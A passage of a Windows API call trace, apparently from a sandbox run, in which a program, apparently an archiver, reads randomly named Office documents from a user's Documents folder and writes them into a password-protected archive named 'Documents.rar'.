lpPerformanceCount=0x141a0dd730*=17537516461) returned 1 [0084.047] GetTickCount () returned 0x2acef [0084.047] GetTickCount () returned 0x2acef [0084.047] GetTickCount () returned 0x2acef [0084.047] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.047] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.047] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.047] ResetEvent (hEvent=0x344) returned 1 [0084.047] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.048] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.048] ResetEvent (hEvent=0x344) returned 1 [0084.048] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.049] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.049] GetTickCount () returned 0x2acef [0084.049] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17537770793) returned 1 [0084.049] GetTickCount () returned 0x2acef [0084.049] GetTickCount () returned 0x2acef [0084.049] GetTickCount () returned 0x2acef [0084.049] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0084.049] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0084.049] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.049] ResetEvent (hEvent=0x33c) returned 1 [0084.049] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.050] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.050] ResetEvent (hEvent=0x33c) returned 1 [0084.050] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.050] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.050] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.050] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.050] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x259bf3 [0084.050] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x259c5b [0084.050] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0084.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.051] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0084.051] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0084.051] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0084.051] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x4730, lpOverlapped=0x0) returned 1 [0084.051] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.051] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.051] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2464755, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x259bf3 [0084.051] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x259bf3 [0084.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c8d0 [0084.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c270 [0084.051] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c270, Size=0x48) returned 0x1162e888900 [0084.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0084.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c690 [0084.051] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c690, Size=0x48) returned 0x1162e889120 [0084.051] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0084.051] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0084.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c990 [0084.052] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c960 [0084.052] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c960 | out: hHeap=0x1162e7c0000) returned 1 [0084.052] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c990 | out: hHeap=0x1162e7c0000) returned 1 [0084.052] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c8d0, Size=0x48) returned 0x1162e888810 [0084.052] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888810, Size=0x7a) returned 0x1163205cfe0 [0084.052] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205cfe3*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205cfe3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x68, lpOverlapped=0x0) returned 1 [0084.052] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c420 [0084.052] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x68) returned 0x1162e7f9b50 [0084.052] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0084.052] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cfe0 | out: hHeap=0x1162e7c0000) returned 1 [0084.052] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x25e38b [0084.052] CloseHandle (hObject=0x350) returned 1 [0084.052] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.052] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.052] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.052] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.052] FindFirstFileW (in: lpFileName="Vtgh45Nfdq0.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.052] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.052] CreateFileW (lpFileName="Vtgh45Nfdq0.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vtgh45nfdq0.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0084.052] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.052] GetTickCount () returned 0x2acef [0084.052] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.053] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.053] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.053] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.053] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="uGw1_n9EtC7y-G8.xlsx") returned 20 [0084.053] SetWindowTextW (hWnd=0x10300, lpString="Vtgh45Nfdq0.pptx") returned 1 [0084.053] GetTickCount () returned 0x2acef [0084.053] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.053] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0084.054] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0084.054] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0084.054] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x21a)) [0084.054] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0084.054] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17538232087) returned 1 [0084.054] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x17a40, lpOverlapped=0x0) returned 1 [0084.055] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba5a80, nNumberOfBytesToRead=0xe85c0, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba5a80*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0084.055] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.055] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.055] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cb10 [0084.055] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c9c0 [0084.055] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c9c0, Size=0x48) returned 0x1162e8893a0 [0084.055] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0084.055] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c690 [0084.055] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c690, Size=0x48) returned 0x1162e888ea0 [0084.055] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0084.055] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.055] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7b0 [0084.055] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c630 [0084.055] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c630 | out: hHeap=0x1162e7c0000) returned 1 [0084.055] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.055] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cb10, Size=0x48) returned 0x1162e888ef0 [0084.055] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ef0, Size=0x7a) returned 0x1163205cb60 [0084.055] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.055] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cb60 | out: hHeap=0x1162e7c0000) returned 1 [0084.056] GetTickCount () returned 0x2acef [0084.056] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17538430126) returned 1 [0084.056] GetTickCount () returned 0x2acef [0084.056] GetTickCount () returned 0x2acef [0084.056] GetTickCount () returned 0x2acef [0084.056] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.056] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.056] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.056] ResetEvent (hEvent=0x344) returned 1 [0084.056] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.059] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.059] ResetEvent (hEvent=0x344) returned 1 [0084.059] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.062] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.062] ResetEvent (hEvent=0x344) returned 1 [0084.062] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.065] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.065] GetTickCount () returned 0x2acff [0084.065] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17539332054) returned 1 [0084.065] GetTickCount () returned 0x2acff [0084.065] GetTickCount () returned 0x2acff [0084.065] GetTickCount () returned 0x2acff [0084.065] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0084.065] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0084.065] GetFocus () returned 0x1031c [0084.065] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0084.065] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0084.065] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0084.065] GetFocus () returned 0x1031c [0084.065] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0084.066] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.066] ResetEvent (hEvent=0x33c) returned 1 [0084.066] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.068] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.068] ResetEvent (hEvent=0x33c) returned 1 [0084.068] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.069] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.069] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.069] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.069] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x25e38b [0084.069] SetFilePointer (in: hFile=0x32c, lDistanceToMove=100, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x25e3ef [0084.069] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0084.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.069] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0084.069] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0084.070] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0084.070] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x17b00, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x17b00, lpOverlapped=0x0) returned 1 [0084.071] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.071] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.071] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2483083, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x25e38b [0084.071] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x25e38b [0084.071] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c1b0 [0084.071] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c1e0 [0084.071] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c1e0, Size=0x48) returned 0x1162e888900 [0084.071] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d8f0 [0084.071] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c300 [0084.071] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c300, Size=0x48) returned 0x1162e8893a0 [0084.071] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d8f0 | out: hHeap=0x1162e7c0000) returned 1 [0084.071] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0084.071] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd80 [0084.071] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0084.071] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7e0 | out: hHeap=0x1162e7c0000) returned 1 [0084.071] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cd80 | out: hHeap=0x1162e7c0000) returned 1 [0084.071] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c1b0, Size=0x48) returned 0x1162e888ea0 [0084.071] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205cad0 [0084.072] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205cad3*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205cad3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x64, lpOverlapped=0x0) returned 1 [0084.072] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c450 [0084.072] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x64) returned 0x1162e7f9bc0 [0084.072] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.072] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cad0 | out: hHeap=0x1162e7c0000) returned 1 [0084.072] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x275eef [0084.072] CloseHandle (hObject=0x350) returned 1 [0084.072] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.072] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.072] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.072] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.072] FindFirstFileW (in: lpFileName="vZ5hUHAIiw4NGepftsf.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d520 [0084.072] FindClose (in: hFindFile=0x1163204d520 | out: hFindFile=0x1163204d520) returned 1 [0084.072] CreateFileW (lpFileName="vZ5hUHAIiw4NGepftsf.docx" (normalized: "c:\\users\\fd1hvy\\documents\\vz5huhaiiw4ngepftsf.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0084.072] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.072] GetTickCount () returned 0x2acff [0084.072] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.073] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.073] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.073] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.073] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="Vtgh45Nfdq0.pptx") returned 16 [0084.073] SetWindowTextW (hWnd=0x10300, lpString="vZ5hUHAIiw4NGepftsf.docx") returned 1 [0084.075] GetTickCount () returned 0x2ad0f [0084.075] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0084.078] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0084.078] GetFocus () returned 0x1031c [0084.078] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0084.078] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0084.079] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0084.079] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0084.079] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x239)) [0084.079] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0084.079] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17540747802) returned 1 [0084.079] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x307d, lpOverlapped=0x0) returned 1 [0084.080] ReadFile (in: hFile=0x350, lpBuffer=0x11631b910bd, nNumberOfBytesToRead=0xfcf83, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b910bd*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0084.080] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.080] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c960 [0084.080] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c960, Size=0x48) returned 0x1162e888ea0 [0084.080] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dcb0 [0084.080] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0084.080] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c7e0, Size=0x48) returned 0x1162e888ef0 [0084.080] 